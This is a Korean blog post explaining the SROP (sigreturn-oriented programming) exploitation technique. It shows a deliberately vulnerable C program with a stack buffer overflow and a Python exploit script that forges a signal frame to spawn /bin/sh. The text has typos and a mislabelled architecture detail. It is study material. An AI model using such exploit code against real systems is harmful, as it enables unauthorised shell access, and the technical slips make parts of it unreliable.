y0u_bat
SROP - Sigretrun Oriented Programming 본문
SROP - Sigretrun Oriented Programming
SROP는 가젯이 충분하지 않는 상황에서 int $0x80 가젯과 eax 레지스터 컨트롤이 가능할때 쓰는 기법이다.
SROP는 - Sigreturn Oriented Progamming의 약자로 sigreturn를 이용한 기법이다.
sigretrurn system call은 signal을 받은 프로세스가 커널모드로 동작한 다음 유저모드로 돌아올때 사용하는 시스템콜이다.
sigreturn syscall number는 arm 기준 15이다.
rt_sigframe 순서대로 현재 rsp에서 pop한다.
problem.c
#include <stdio.h>
#inlucde <stdlib.h>
int main(int argc,char *argv[])
{
int a = 0x50f;
char buf[16];
read(0,buf,1000);
}
exploit.py
from struct import *
from time import *
from subprocess import *
p = lambda x : pack("<Q",x)
syscall =
bss =
read =
#sigreturn number 15
payload = ""
payload += "a"*16
payload += p(bss+0x10)
payload += p(read)
payload2 = ""
payload2 += "/bin/sh\x00"*2
payload2 += p(bss+0x10+0x10+0x8+0x8)
payload2 += p(read)
payload2 += "a"*24
payload2 += p(syscall)
payload2 += "a"*40
payload2 += p(0)*8
payload2 += p(bss) #rdi
payload2 += p(0) #rsi
payload2 += p(0) #rbp
payload2 += p(0) #rbx
payload2 += p(0) #rdx
payload2 += p(0x3b) #rax
payload2 += p(0) #rcx
payload2 += p(0) #rsp
payload2 += p(syscall) #rip
payload2 += p(0) #eflag
payload2 += p(0x33) #csgsfs
payload2 += "A"*32
payload2 += p(0)
ex = Popen("~/file",shell=True,stdin=PIPE)
ex.stdin.write(payload)
sleep(1)
ex.stdin.write(payload2)
sleep(1)
ex.stdin.write("a"*15)
sleep(1)
while True:
t = raw_input()
ex.stdin.write(t+'\n')
'System' 카테고리의 다른 글
pintool 간단한 문제 풀이 (2) | 2016.02.17 |
---|---|
CVE-2015-0235 GHOST 취약점 (0) | 2016.02.16 |
GHOST: glibc gethostbyname buffer overflow 번역 목차 (2/6) (2) | 2016.02.05 |
[S.S.A] 시스템해킹 스터디 6주차 (pintool) (0) | 2015.11.22 |
[SSA] 시스템 스터디 3주차 (0) | 2015.10.20 |